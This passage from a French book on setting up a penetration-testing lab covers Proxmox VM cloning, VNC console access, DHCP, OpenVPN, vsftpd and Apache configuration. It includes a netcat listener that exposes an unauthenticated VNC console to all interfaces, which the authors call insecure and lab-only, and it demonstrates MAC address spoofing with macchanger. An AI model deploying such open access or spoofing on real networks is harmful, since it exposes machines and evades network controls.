CTIME: Thu Apr 4 11:12:16 2013

Formatting ’/var/lib/vz/images/501/vm-501-disk-1.raw’, fmt=raw

size=10737418240

new volume ID is ’local:501/vm-501-disk-1.raw’

map ’drive-ide0’ to ’/var/lib/vz/images/501/vm-501-disk-1.raw’

(write zeros = 0)

progress 1% (read 107413504 bytes, duration 0 sec)












...




total bytes read 10737418240, sparse bytes 10737414144 (100%)

space reduction due to 4K zero bocks 1.5e+03%



500 Win1 stopped 512 10.00 0

501 Win1 stopped 512 10.00 0

root@proxmox:~#

Nous constatons bien que la VM d’ID 501 présente une mémoire RAM de 512 Mo et un

disque dur de 10 Go après restauration. Le problème est qu’elle possède le même nom que la

machine 500. Changeons celui-ci.

root@proxmox:~# qm set 501 -name Win2



500 Win1 stopped 512 10.00 0

501 Win2 stopped 512 10.00 0

root@proxmox:~#

Lors de la restauration, nous avons placé le paramètre unique à 1. Ceci permet de générer une

nouvelle adresse MAC pour la VM clonée. Comparons les deux fichiers de configuration des

VM 500 et 501.


bootdisk: ide0

cores: 1

ide0: local:500/vm-500-disk-1.raw,size=10G

ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K

kvm: 0

memory: 512

name: Win1

net0: rtl8139=82:EE:6A:BE:82:DA,bridge=vmbr0

ostype: wxp

sockets: 1


bootdisk: ide0

cores: 1

ide0: local:501/vm-501-disk-1.raw,size=10G

ide2: local:iso/WinXP3_VL.iso,media=cdrom,size=615474K

kvm: 0

memory: 512

name: Win2

net0: rtl8139=EE:79:7D:A2:BD:0F,bridge=vmbr0

ostype: wxp

sockets: 1

root@proxmox:~#

Les adresses MAC sont bien différentes ainsi que le nom de VM et, le plus important, le nom

du disque dur.

L’émulation d’une machine avec KVM / QEMU étant totale au niveau du matériel, elle est

souvent utilisée dans le cas de machines Windows. Pour accéder à ces machines, nous avons

vu qu’il était possible de le faire via l’interface web dans une console Java. Cette console

n’est pas toujours très stable et il est parfois préférable d’envisager d’autres moyens d’accéder

à la VM si nous en avons la possibilité. Ce n’est bien entendu pas toujours le cas. Dans la

situation où nous nous trouvons, nous avons le contrôle total de notre serveur Proxmox et du

réseau. Nous pouvons donc ouvrir un port qui sera redirigé vers un contrôle distant de type

VNC (Virtual Network Computing) de notre machine virtuelle. En effet, Proxmox utilise

VNC pour l’accès aux machines KVM. Cette connexion passe par un proxy VNC. Il est

possible de passer un argument à la VM soit en ligne de commande, soit directement dans son

fichier de configuration. Nous allons modifier celui-ci pour qu’il écoute sur une IP

quelconque sur un port donné. Pour ce faire, nous ajoutons la ligne suivante à la fin du fichier

/etc/pve/qemu-server/500.conf :

args: -vnc 0.0.0.0:100

Attention, l’écoute d’une connexion VNC se fera sur toutes les adresses IP mais pas sur le

port 100 comme indiqué en fin de ligne. En effet, le port par défaut étant 5900, le nombre

mentionné en fin de ligne sera ajouté au port initial. L’écoute se fera donc ici sur le port 6000.

Il faut ensuite rediriger la connexion effectuée sur le Proxmox dans le proxy VNC de la VM.

Ceci est assez simple avec la commande suivante :

root@proxmox:~# nc -l -p 5900 -c "qm vncproxy 500"

Voilà, nous pouvons nous connecter à la VM d’ID 500 en VNC sur le port 6000. Mais quel

client utiliser ? Dans le cas d’un système Windows, nous vous conseillons TightVNC

disponible à l’adresse suivante : http://www.tightvnc.com/

Il existe une version complètement Open Source de celui-ci. Nous téléchargeons celle-ci et

l’installons. Nous validons le premier écran et le deuxième en cochant l’acceptation de la

licence. Nous ne voulons installer que le client et pas le serveur. Nous cliquons alors sur

Custom au troisième écran.

http://www.tightvnc.com/

Nous choisissons de ne pas installer le serveur (Entire feature will be unavailable) et

passons à la suite. Pour les deux écrans suivants, nous acceptons les options par défaut, puis

l’installation s’effectue. Il ne reste plus qu’à cliquer sur Finish au dernier écran.

Nous démarrons TightVNC et saisissons l’adresse de notre serveur Proxmox dans le champ

requis, suivie du port 6000 séparé par « :: » de l’IP, puis cliquons sur Connect.

La connexion s’établit et nous sommes face à notre VM Windows d’ID 500.

La procédure est encore plus simple sous Linux. Si vous êtes sous Debian, TightVNC se

trouve dans les dépôts :

root@bt:~# aptitude search tightvnc

p tightvnc-java - TightVNC

java applet and command line program

p tightvncserver - virtual

network computing server software

c xtightvncviewer - virtual

network computing client software for X

root@bt:~#

Un simple aptitude install fera l’affaire. Bien souvent, le paquet est déjà installé avec la

distribution.

root@bt:~# aptitude install xtightvncviewer

Reading package lists... Done

Building dependency tree

Reading state information... Done

Reading extended state information

Initializing package states... Done

The following NEW packages will be installed:

xtightvncviewer


upgraded.

Need to get 63.7kB of archives. After unpacking 201kB will be used.

1.3.9-6) ...

...

Processing triggers for menu ...

Reading package lists... Done

Building dependency tree

Reading state information... Done

Reading extended state information

Initializing package states... Done

Writing extended state information... Done

root@bt:~#

Le client VNC peut alors être lancé en précisant l’IP du serveur et le port d’écoute.

root@bt:~# vncviewer 10.5.5.2::6000

VNC Viewer Free Edition 4.1.1 for X - built Apr 9 2010 15:52:37

Copyright (C) 2002-2005 RealVNC Ltd.

See http://www.realvnc.com for information on VNC.

Sat Apr 6 09:35:41 2013

CConn: connected to host 10.5.5.2 port 6000

CConnection: Server supports RFB protocol version 3.8

CConnection: Using RFB protocol version 3.8

TXImage: Using default colormap and visual, TrueColor, depth

24.

CConn: Using pixel format depth 6 (8bpp) rgb222

CConn: Using ZRLE encoding

Nous voyons la connexion s’établir et nous nous trouvons face à l’écran de la VM d’ID 500.

Ici, nous ne trouvons pas le menu de configuration comme sous Windows, mais nous pouvons

faire apparaître celui-ci en pressant [F8].

Le fait de passer par le serveur vncproxy du Proxmox permet d’accéder à toutes les VM sans

distinction de système d’exploitation et en évitant la console Java. Cela permet aussi

l’installation de tout type de système d’exploitation.

Attention, la procédure que nous avons indiquée ici est purement pratique dans le cadre d’un

laboratoire. Elle n’est absolument pas sécurisée, car tout le monde peut se connecter aux VM

sans restriction et les communications ne sont pas chiffrées.

Par la suite, une fois les systèmes installés sur les VM, il est possible d’envisager toutes les

techniques d’administration distante, par exemple :

Installer un serveur VNC directement sur le système de la VM.

Utiliser Rdesktop pour les machines Windows.

Utiliser SSH pour les machines Linux.

Utiliser des services de connexions de machines par serveur extérieur intermédiaire

comme TeamViewer ou Logmein.

Établir une connexion VNC chiffrée par un certificat sur Proxmox.

Toutes ces techniques dépassent le cadre de notre laboratoire de test et nous ne les

développerons pas ici. Nous vous conseillons malgré tout dans le cadre d’une mise en

production de vous intéresser de près à celles-ci.

Conclusion

Ce chapitre nous a montré la puissance qu’offre la mise en place d’un serveur Proxmox. Si la

création de machines virtuelles avec KVM permet d’émuler le matériel et d’installer des

systèmes complets, nous constatons que son utilisation est moins souple que celle d’OpenVZ.

C’est pour cette raison que nous vous conseillons d’utiliser plutôt des conteneurs quand cela

est possible.

Proxmox offre bien d’autres possibilités et nous n’avons parcouru que celles qui nous

paraissaient essentielles pour la mise en place de notre laboratoire de test. Pour passer à une

réelle mise en production de services sur ce type de serveur, nous ne saurions trop vous

conseiller de vous reporter à la documentation de Proxmox.

Notre laboratoire n’est pas encore prêt pour commencer des tests de pénétration. Il faut à

présent mettre en place tout ce qui est rencontré couramment dans un réseau d’entreprise,

privé ou d’administration. Le chapitre suivant va être consacré à ces installations.

Machines virtuelles et services

Introduction

Le Proxmox étant installé, nous allons nous atteler à créer différentes machines virtuelles

telles que présentées dans le chapitre Proxmox. Pour chacune des parties suivantes, nous

aurons, au préalable, installé une machine virtuelle sous Debian.

Nous ne reviendrons pas sur l’installation des différentes machines virtuelles mais nous nous

concentrerons sur les services à installer.

Nous aurons besoin, pour la création de notre laboratoire, de desservir du DHCP, d’avoir

accès en VPN sur notre Proxmox, d’avoir un accès à un serveur FTP, de disposer d’un serveur

sous asterisk pour tester la VoIP, de différentes autres machines où nous installerons des

épreuves de hacking telles que des crackmes, des wargames, des failles web, mais nous

aurons aussi besoin de superviser tout cela.

Dans ce chapitre, nous créerons et installerons puis configurerons les différentes machines

suivant nos besoins afin d’avoir à la fin du chapitre un laboratoire fonctionnel de hacking.

Serveur DHCP

Nous aurons peut-être à un certain moment besoin de donner des adresses IP à nos différentes

machines, qu’elles soient virtuelles ou réelles.

Un serveur DHCP nous simplifiera la vie et nous permettra d’attribuer des adresses IP

aléatoires ou non suivant la configuration de ce dernier.

Nous ferons le choix de distribuer des adresses IP fixes pour nos machines virtuelles et des

adresses IP dynamiques pour les autres machines, c’est-à-dire nos machines clientes.

1. Installation des paquets nécessaires

Nous allons d’abord installer les paquets nécessaires :

fasm# aptitude install isc-dhcp-server

Le paquet est maintenant installé mais le serveur DHCP ne peut pas se lancer pour l’instant ;

nous devons configurer le serveur.

Le service qui était avant dhcpd est maintenant devenu isc-dhcp-server.

Rappelons ici que pour lancer le serveur comme la plupart des services sous Debian et

Ubuntu, le stopper ou le relancer, nous pourrons utiliser ces commandes :

fasm# service isc-dhcp-server start|stop|restart

2. Configuration

Le fichier de configuration se trouve dans /etc/dhcp et se nomme dhcp.conf.

Nous pouvons ouvrir ce fichier :

Ci-dessus nous avons bien sûr un extrait de la configuration par défaut. La plupart des

possibilités offertes par ce serveur DHCP sont écrites mais « dévalidées » grâce au signe ’#’

qui se trouve devant la ligne.

Nous avons juste à supprimer le ’#’ et à modifier la configuration en fonction de notre réseau

(masque de réseau, adressage IP, passerelle, DNS…) suivant ce que nous avons décidé

comme distribution d’adresses DHCP.

Ce qui nous importe est la partie qui va nous permettre d’attribuer des adresses IP dynamiques

pour les machines clientes et des adresses IP fixes pour les machines virtuelles.

Il nous faudra donc déjà pour ces dernières connaître leur adresse MAC.

Un simple ifconfig nous fournira ces informations :

L’adresse MAC par exemple pour cette machine virtuelle est, pour l’interface réseau eth0,

08:00:27:5e:7b:a7.

eth0 est le nom de notre carte réseau sous Linux ; cela aurait pu être eth1, eth2 wlan0 ou autre

suivant notre type de liaison (filaire ou Wi-Fi).

Nous pouvons donc maintenant commencer à configurer le fichier /etc/dhcp/dhcpd.conf.

Nous allons donc ouvrir ce fichier, grâce à nano par exemple, et indiquer les adresses MAC

correspondant à des adresses IP suivant le plan d’adressage que nous aurons défini, par

exemple, 192.168.1.0 / 24.

Dans l’exemple ci-dessus, deux machines sont configurées en adresses IP fixes, la machine

vm_ftp d’adresse MAC 08:00:27:5e:7b:a7 et la machine vm_web d’adresse MAC

08:00:27:5e:7b:a2 qui auront respectivement les adresses IP 192.168.1.2 et 192.168.1.3.

La configuration type pour chaque machine est :

host nom_machine {

hardware ethernet adresse_MAC ;

fixed-address adresse_IP ;

}

Nous pourrons de la même manière imposer les adresses IP en fonction des adresses MAC

des autres machines virtuelles.

Rappelons que l’adresse MAC est composée de six octets séparés par des « : » et que les trois

premiers octets sont l’identifiant du constructeur et les trois derniers, un numéro unique

correspondant à l’interface réseau.

En théorie, cette adresse MAC est unique et devait être infalsifiable à sa création mais nous en

sommes loin car une simple commande Linux permet de la changer.

Nous pourrons si nous le souhaitons installer le paquet macchanger qui permet de changer ces

adresses MAC mais au redémarrage de la machine, l’adresse MAC d’origine sera restaurée.

fasm# aptitude install macchanger macchanger-gtk

Les commandes suivantes permettent de changer entre autres votre adresse MAC :

# macchanger eth1

Current MAC: 00:40:96:43:ef:9c [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 00:40:96:43:ef:9d [wireless] (Cisco/Aironet 4800/340)

# macchanger --endding eth1

Current MAC: 00:40:96:43:e8:ec [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 00:40:96:6f:0f:f2 [wireless] (Cisco/Aironet 4800/340)

# macchanger --another eth1

Current MAC: 00:40:96:43:87:1f [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 00:02:2d:ec:00:6f [wireless] (Lucent Wavelan IEEE)

# macchanger -A eth1

Current MAC: 00:40:96:43:39:a6 [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 00:10:5a:1e:06:93 (3Com, Fast Etherlink XL in a Gateway)

# macchanger -r eth1

Current MAC: 00:40:96:43:f1:fc [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 6b:fd:10:37:d2:34 (unknown)

# macchanger --mac=01:23:45:67:89:AB eth1

Current MAC: 00:40:96:43:87:65 [wireless] (Cisco/Aironet 4800/340)

Faked MAC: 01:23:45:67:89:ab (unknown)

# ./macchanger -list=Cray

Misc MACs:

Num MAC Vendor

--- --- ------

065 -- 00:00:7d -- Cray Research Superservers,Inc

068 -- 00:00:80 -- Cray Communications (formerly Dowty Network

Services)

317 -- 00:40:a6 -- Cray Research Inc.

Il nous faudra bien sûr configurer chaque machine virtuelle pour que leur interface, eth0 par

exemple, soit en DHCP (client). Nous verrons cela lorsque nous aurons fini de configurer le

serveur.

Nous pouvons passer maintenant à la configuration des machines clientes qui seront en

adressage dynamique.

Ces machines devront bien sûr être sur la même plage réseau que les différentes VM afin

qu’elles puissent communiquer.

Nous avons ci-dessus la configuration correspondant à l’adressage des machines virtuelles,

soit de 192.168.1.20 à 192.168.1.100. Comme dit précédemment, ces machines seront en

adressage dynamique, c’est-à-dire qu’elles pourraient changer d’adresse IP à chaque

redémarrage. Nous aurions pu bien sûr limiter le nombre de machines et n’autoriser qu’à

distribuer des adresses IP allant de 192.168.1.20 à 192.168.1.30 si nous n’avions besoin que

de 11 machines virtuelles (le principe est identique pour des machines non virtuelles).

La configuration minimale pour déterminer des adresses IP statiques est donc :

Subnet adresse_reseau netmask masque_reseau {

range ip_premiere_machine ip_derniere_machine ;

option routeurs ip_passerelle ;

}

Il existe bien sûr beaucoup d’options et configurations possibles, nous pourrons pour cela

aller rechercher sur Internet toutes les possibilités offertes par le serveur DHCP suivant nos

besoins.

Les machines qui se connecteront en DHCP sur ce réseau obtiendront donc automatiquement

une adresse IP.

Sous Linux, il suffit d’effectuer la commande suivante pour obtenir une adresse IP :

client1# dhclient eth0

On suppose bien sûr que l’interface réseau du client est eth0.

Pour connaître le nom des différentes cartes réseau de notre machine, il suffit d’exécuter la

commande suivante :

fasm# ifconfig -a

Si nous effectuons un simple ifconfig et que nous ne voyons pas de carte réseau ou pas toutes,

imaginons que ce soit eth1 que nous ne voyons pas, il suffit de faire :

fasm#ifconfig eth1 up

Avant de tenter de lancer le serveur DHCP, il va falloir que la machine virtuelle DHCP ait

une adresse IP statique dans la plage réseau configurée dans dhcpd.conf.

Nous allons pour cela configurer le fichier interfaces qui se trouve dans /etc/network.

Nous lui attribuerons l’adresse IP 192.168.1.1.

Nous pouvons ouvrir ce fichier grâce à nano par exemple :

fasm#nano /etc/network/interfaces

La configuration par défaut est une demande DHCP. Nous devons donc changer cela pour une

adresse IP statique. Ainsi, à chaque redémarrage, la machine aura toujours la même adresse

IP.

Nous pouvons maintenant relancer les interfaces réseau.

Pour cela, nous devrons nous rendre dans /etc/init.d afin de trouver le démon réseau qui se

nomme networking.

La commande sera donc :

fasm #/etc/init.d/networking restart

Si nous souhaitons juste le stopper, nous remplacerons restart par stop ou par start si nous

voulons le lancer.

Nous voyons ici que dans la partie eth0, après inet adr:, nous avons notre adresse IP inscrite

avec un masque en /24 en notation CIDR, soit 255.255.255.0.

La configuration a réussi ; nous pouvons tenter de lancer le serveur DHCP.

Tout fonctionne parfaitement, nous avons maintenant un serveur DHCP fonctionnel.

Nous pourrons tester le bon fonctionnement dès que nous aurons une autre machine virtuelle

dans laquelle nous lancerons un dhclient eth0 par exemple et qu’une adresse IP sera

distribuée.

Nous pouvons passer à l’installation et la configuration des autres services.

OpenVPN

OpenVPN est une solution qui se base sur SSL et son port est 1194. Il est composé d’un

serveur et de clients. Il va donc y avoir une authentification du client et du serveur et la

création d’un canal sécurisé entre les deux.

Ce service est assez simple à configurer si nous suivons bien la procédure décrite ci-dessous.

Nous devons maintenant, avec le chapitre Proxmox, avoir toutes les notions nécessaires et

connaître parfaitement la définition et le fonctionnement de route et bridge.

Rappelons quand même qu’il existe deux modes de fonctionnement, le « routé » et le « bridgé

» :

Le mode routé permet de connecter des utilisateurs itinérants à un réseau interne. Nous

appelons aussi cela le NAT. Dans une machine virtuelle en NAT, la machine aura une

adresse différente (réseau différent) de la machine réelle. Par exemple, la machine

réelle pourra être en 192.168.1.0 et les machines en NAT en 10.2.0.0.

Le mode ponté ou bridgé permet de relier entre eux deux sous-réseaux. Nous pourrons

dans ce cas avoir par exemple la machine réelle dans la même plage d’adresse IP que

la machine virtuelle.

Grâce à OpenVPN, nous allons pouvoir accéder de n’importe où dans le monde à nos

ressources locales de manière sécurisée, soit ici notre laboratoire.

1. Installation des paquets

Ici encore rien de plus facile, un simple aptitude install et le logiciel est installé sur notre

machine, qui, je le rappelle, peut être une nouvelle machine virtuelle sous Debian par

exemple.

Nous aurions pu aussi installer le VPN sur la même machine que la VM DHCP mais nous

préférons ici une machine par service.

fasm# aptitude install openvpn

Nous allons ensuite copier les fichiers de configuration :

sudo mkdir /etc/openvpn/easy-rsa/

sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/

openvpn/easy-rsa/

sudo chown -R $USER /etc/openvpn/easy-rsa/

Nous sommes prêts pour configurer maintenant le serveur et le client.

2. Configuration

a. Serveur

Nous allons regarder ce qui a été copié dans le répertoire easy-rsa :

Éditons le fichier vars.

Nous avons ici les valeurs par défaut des variables.

Nous allons donc entrer ce que nous désirons, par exemple :

Nous allons maintenant générer les certificats (.crt) et les clés (.key) :

cd /etc/openvpn/easy-rsa/

source vars

./clean-all

./build-dh

./pkitool -initca

./pkitool -server server

sudo openvpn -genkey -secret keys/ta.key

Il nous reste à exécuter la dernière commande et à aller voir si les clés ont bien été générées

dans le répertoire keys :

Les clés et certificats sont donc bien présents. Ce qui nous intéresse, ce sont les fichiers

server.crt, server.key, ta.key, dh1024.pem, ca.key et ca.crt.

Nous avons besoin de les déplacer. Nous pouvons donc les copier dans /etc/openvpn :

sudo cp keys/ca.crt keys/ta.key keys/server.crt keys/server.key

keys/dh1024.pem /etc/openvpn/

La création des certificats du côté serveur est terminée.

Nous pouvons maintenant générer un répertoire /etc/openvpn/jail dans lequel le processus

OpenVPN sera « chrooté » (c’est-à-dire que chacun sera prisonnier de son espace personnel)

afin de limiter les dégâts en cas de faille dans OpenVPN, puis un autre répertoire,

/etc/openvpn/clientconf, qui contiendra la configuration des clients.

Chrooter un programme consiste à le lancer en utilisant la commande chroot. Cette

commande permet de changer l’emplacement de la racine (/). C’est-à-dire que les utilisateurs

auront l’impression d’être à la racine (/) alors qu’en réalité ils se trouveront dans

/etc/openvpn/jail.

D’un point de vue sécurité, ils seront comme « enfermés » dans ce répertoire et ne pourrons

en théorie pas en sortir.

sudo mkdir /etc/openvpn/jail

sudo mkdir /etc/openvpn/clientconf

Nous pouvons maintenant passer au fichier de configuration principal et créer le fichier

server.conf qui se trouve dans /etc/openvpn/.

fasm# nano server.conf

# Serveur TCP/443

mode server

dev tun

proto tcp

port 443

dev tun

# Cles et certificats

ca ca.crt

cert server.crt

key server.key

dh dh1024.pem

tls-auth ta.key 0

cipher AES-256-CBC

# Reseau

server 10.8.0.0 255.255.255.0

push "redirect-gateway def1 bypass-dhcp"

push "dhcp-option DNS 8.8.8.8″

push "dhcp-option DNS 8.8.4.4″

keepalive 10 120

# Securite

user nobody

group nogroup

chroot /etc/openvpn/jail

persist-key

persist-tun

comp-lzo

# Log

verb 3

mute 20

status openvpn-status.log

; log-append /var/log/openvpn.log

Le fichier server.conf est configuré sur le port 443 en TCP mais nous pouvons bien sûr définir

le protocole UDP et le port que nous souhaitons.

Nous pouvons maintenant tester notre configuration :

fasm#openvpn server.conf

Nous obtenons à la fin « Sequence Completed ». La configuration précédente est donc

correcte.

Nous pouvons reprendre le fichier précédent afin d’ajouter une dernière ligne :

log-append /var/log/openvpn.log

Nous pouvons lancer le serveur maintenant :

fasm# /etc/init.d/openvpn start

Le serveur est lancé, le client peut se connecter sur ce dernier mais nous ne pouvons pas faire

grand-chose de plus. En effet, la plage d’adresses 10.8.0.0 n’est pas routée.

Il va donc falloir maintenant router cela.

Nous allons donc configurer le serveur pour qu’il joue le rôle de routeur entre l’interface VPN

(tun0) et l’interface physique eth0 et « natter » les adresses en 10.8.0.x vers l’adresse réelle.

Nous aurions pu configurer le serveur non pas en « tun » mais en « tap ». La littérature

d’OpenVPN nous indique qu’il est souhaitable de rester en tun.

Tun et tap sont des périphériques virtuels.

Tap simule un lien (link layer) et se situe au niveau de la couche 2 du modèle OSI.

Tun est un tunnel réseau qui simule un périphérique de la couche Ethernet et qui travaille avec

la couche 3 du modèle OSI comme les paquets IP.

Nous allons d’abord autoriser le forwarding (routage) :

fasm# echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre ce paramètre permanent, même après un redémarrage, nous devons entrer dans le

fichier /etc/sysctl.conf et mettre la variable net.ipv4.ip_forward=1, cette variable étant déjà

présente dans le fichier de configuration mais initialisée à 0.

Nous devons maintenant réaliser la translation d’adresse (NAT) et ce, grâce aux règles

iptables.

Iptables sera vu en détail dans le chapitre Sécurisation du PC qui parlera de sécurisation des

systèmes. Mais pour l’instant, contentons-nous d’appliquer la règle suivante :

fasm#iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j

MASQUERADE

Pour être concis pour l’instant, tout ce qui transite par le réseau 10.8.0.0/24 est transféré vers

la carte réseau eth0. Nous obtenons donc directement, dès la validation de cette règle, l’accès

au réseau, surtout à Internet, du client connecté au VPN.

Nous pouvons bien entendu rendre cette règle fixe même au redémarrage en sauvegardant

celle-ci.

iptables-save > /etc/iptables.rules

Le serveur est prêt, nous pouvons configurer à présent le client.

b. Client

Nous allons encore un peu rester sur le serveur, nous devons en effet générer les clés pour

chaque client que nous souhaitons accueillir.

Supposons que nous souhaitions créer une clé pour un client Franck.

Nous devons d’abord nous rendre dans le dossier approprié et générer ensuite la clé.

cd /etc/openvpn/easy-rsa

source vars

./build-key Franck

Voici ce que nous obtenons :

Le script a généré trois fichiers dans /etc/openvpn/easy-rsa/keys/ :

Franck.crt : certificat pour le client

Franck.key : clé pour le client

Franck.csr : certificat à garder sur le serveur

Pour nous simplifier la tâche, nous allons créer une archive avec les clés afin de transmettre

facilement ces dernières au client.

Nous allons pour cela copier les fichiers nécessaires pour le client dans son dossier sur le

serveur, dossier que nous allons créer.

fasm#mkdir /etc/openvpn/clientconf/Franck

fasm#cp /etc/openvpn/ca.crt /etc/openvpn/ta.key keys/Franck.crt

keys/Franck.key /etc/openvpn/clientconf/Franck

Nous allons maintenant entrer dans le répertoire du client puis configurer un fichier que nous

nommerons client.conf.

fasm#cd /etc/openvpn/clientconf/Franck

fasm# nano client.conf

# Client

client

dev tun

proto tcp-client

#adresse IP du serveur VPN

remote 192.168.1.2 443

resolv-retry infinite

cipher AES-256-CBC

# Cles

ca ca.crt

cert Franck.crt

key Franck.key

tls-auth ta.key 1

# Securite

nobind

persist-key

persist-tun

comp-lzo

verb 3

Si nous souhaitons utiliser OpenVPN sous Windows, il nous suffira de renommer ce fichier

client.conf en client.ovpn.

Nous exécuterons donc la commande :

fasm#cp client.conf client.ovpn

Il suffit maintenant de transférer tous ces fichiers au client en le zippant par exemple grâce à

la commande zip.

fasm@/etc/openvpn/clientconf/Franck# zip Franck.zip *.*

Nous pouvons transférer ce fichier au client qui le dézippera dans un répertoire qu’il aura

préalablement créé (exemple : /home/fasm/vpn/).

Sur le client, dès réception du fichier, nous nous placerons dans le répertoire désiré et nous

exécuterons :

Client$unzip Franck.zip

Le client se placera ensuite dans ce répertoire et lancera la commande :

Client# openvpn client.conf

Si tout se passe bien, nous obtiendrons l’écran suivant :

Voilà, nous sommes dans un VPN, une connexion sécurisée, et à partir de maintenant,

n’importe où dans le monde, nous avons accès à nos machines.

Que se passe-t-il si nous sommes dans une entreprise et que nous passons par un proxy ?

Dans ce cas, pas de problème, il suffit d’ajouter une ligne dans le client.conf :

http-proxy adresse_ip_proxy port_proxy passwd.txt basic

Le fichier passwd.txt qui se trouvera dans le même répertoire que client.conf comportera en

première ligne votre login de connexion et en deuxième ligne votre mot de passe.

Serveur FTP

Nous aurons besoin dans notre laboratoire de mettre à disposition de la documentation, des

binaires ou autres.

Un moyen rapide et efficace est d’avoir à disposition un serveur FTP. Il en existe beaucoup,

nous prendrons VsFTP.

Que souhaitons-nous ?

Que chaque utilisateur se connecte avec un identifiant propre. Le système pourra ainsi

garder la trace des actions de chacun (savoir qui fait quoi).

Que chaque utilisateur dispose d’un espace où il puisse stocker ses fichiers de façon

privée.

Que chaque utilisateur puisse accéder à un espace public.

Tout cela est faisable facilement grâce à vsftpd (Very Secure FTPd ) qui équipe des serveurs

FTP tels que ceux de Red Hat, Suse, OpenBSD, kernel.org et Debian.

1. Installation

Là non plus, rien de très compliqué : il suffit d’exécuter la commande ci-après :

fasm#aptitude install vsftpd

Ceci, dans une nouvelle machine virtuelle nommée par exemple VM-FTP.

L’installation est terminée.

2. Configuration

Ici, pas trop de questions à se poser, nous n’aurons qu’un seul fichier de configuration à

modifier.

Par défaut, si nous laissons le fichier d’installation, nous pouvons nous connecter en anonyme

sur le serveur FTP (après l’avoir lancé, bien sûr).

Nous allons donc modifier tout cela pour l’adapter à notre vision du FTP.

Nous allons ouvrir le fichier vsftpd.conf qui se trouve dans /etc/.

Dans le fichier ci-dessous, nous avons pour chaque configuration, l’explication incluse juste

au-dessus.

# Nous voulons que le serveur fonctionne en mode standalone

listen=YES

#

# On ne veut surtout pas de connexions en mode anonymous

anonymous_enable=NO

#

# On veut que les utilisateurs locaux puissent se connecter

local_enable=YES

#

# On veut que les utilisateurs puissent remonter des fichiers sur

# le serveur

write_enable=YES

#

# On fixe le masque local a 022 (les fichiers remontés auront

# des droits en 755)

local_umask=022

#

# On interdit l’upload anonyme

anon_upload_enable=NO

#

# Idem pour la creation de repertoires

anon_mkdir_write_enable=NO

#

# On demande a ce que les actions des utilisateurs soient loguees

xferlog_enable=YES

#

# On verifie que la commande PORT provient bien du port 20 de

# la machine cliente

connect_from_port_20=YES

#

# Les logs seront enregistres dans le fichier /var/log/vsftpd.log

xferlog_file=/var/log/vsftpd.log

#

# On declare les valeurs de timeout. Celles fournies par defaut

# sont ok pour notre utilisation

idle_session_timeout=300

data_connection_timeout=120

connect_timeout=60

accept_timeout=60

#

# Par securite, on interdit la commande ABOR

async_abor_enable=NO

#

# Les transferts en ASCII sont souvent source de confusion

ascii_upload_enable=NO

ascii_download_enable=NO

#

# Par securite, on change la banniere

ftpd_banner=Bienvenue sur le serveur du Laboratoire de Hacking

#

# On veut limiter les utilisateurs a leur repertoire

chroot_local_user=YES

chroot_list_enable=NO

#

# Les heures d’enregistrement des fichiers seront affichees a

# l’heure locale

use_localtime=YES

Nous pouvons maintenant tenter de lancer le serveur FTP :

fasm#/etc/init.d/vsftpd start

Le serveur est lancé.

Les utilisateurs ont accès à leur répertoire personnel (il faut que les utilisateurs aient tous été

créés sur le serveur) et leurs actions sur le serveur sont enregistrées dans /var/log/vsftpd.log.

Nous allons en créer un pour nous rappeler les commandes :

Dans l’exemple ci-dessus, nous créons un utilisateur codej grâce à la commande adduser.

Des renseignements nous sont demandés dont le plus important, le mot de passe. Une fois

reçue la confirmation que les informations correctes ont été renseignées, l’utilisateur a son

espace personnel dans /home/codej.

Nous pouvons créer autant d’utilisateurs que nous le souhaitons.

Nous continuerons par la création d’un espace commun à tous les utilisateurs.

Nous allons donc créer de nouveau un utilisateur que nous nommerons par exemple «

pour_tous ».

Les fichiers devront être lus par n’importe quel utilisateur, nous allons donc devoir attribuer

des droits à ce répertoire un peu spécial.

fasm#chmod -R 755 /home/pour_tous

fasm#chown pour_tous:pour_tous -R /home/pour_tous

Nous donnons donc les droits 755 au fichier pour_tous. Cela veut dire que l’utilisateur

pour_tous a les droits en lecture, écriture et exécution. Le groupe pour_tous a les droits en

lecture et exécution et enfin, les autres ont les droits en lecture et exécution.

Nous allons maintenant créer dans chaque répertoire de chaque utilisateur un répertoire «

pour_tous ».

fasm#mkdir /home/codej/pour_tous

fasm#chown codej:codej /home/codej/pour_tous

fasm#chmod 755 /home/codej/pour_tous

Nous devons ensuite créer le lien entre le répertoire pour_tous de /home et le répertoire

pour_tous de chaque utilisateur.

Nous allons pour cela aller dans le fichier /etc/fstab afin d’ajouter une ligne par utilisateur.

fasm#nano /etc/fstab

/home/pour_tous /home/codej/pour_tous auto bind,defaults 0 0

Nous pouvons maintenant monter ce répertoire :

fasm#mount /home/codej/pour_tous

Nous pouvons nous connecter maintenant avec un client FTP quelconque, par exemple

FileZilla, pour vérifier le bon fonctionnement de notre serveur FTP.

Nous sommes connectés au serveur FTP. Nous pouvons maintenant mettre à disposition les

fichiers que nous voulons partager.

Serveur web

Dans les challenges de sécurité informatique, les épreuves les plus réussies et les mieux

appréciées sont les épreuves web (détection des failles web).

Dans un prochain chapitre, nous verrons comment mettre en place ces épreuves afin de tester

notre capacité à les résoudre. Pour cela, nous avons besoin d’un serveur web. Le plus célèbre

est Apache, il est produit par la « Apache Software Foundation ».

1. Installation fasm# aptitude install apache2

2. Configuration

Une configuration minimale et beaucoup plus simple sera expliquée dans le prochain chapitre.

Nous allons donc ici détailler une installation un peu plus compliquée mais plus adaptable à

nos besoins.

Tous les fichiers de configuration sont dans le répertoire /etc/apache2.

Si nous exécutons une commande ls dans ce répertoire, nous trouverons 9 fichiers qui ont

chacun une utilité détaillée ci-dessous et qui est une traduction de la documentation officielle :

httpd.conf est le fichier utilisé par Apache1, il est conservé vide dans Apache2 pour

assurer la rétrocompatibilité. Il ne nous servira pas.

envvars est utilisé pour définir des variables d’environnement propres à Apache.

ports.conf contient la directive Listen qui spécifie les adresses et les ports d’écoute.

apache2.conf est le fichier principal de configuration car c’est à partir de lui que tous

les autres fichiers sont chargés.

conf.d est un répertoire qui contient plusieurs petits fichiers qui seront analysés par

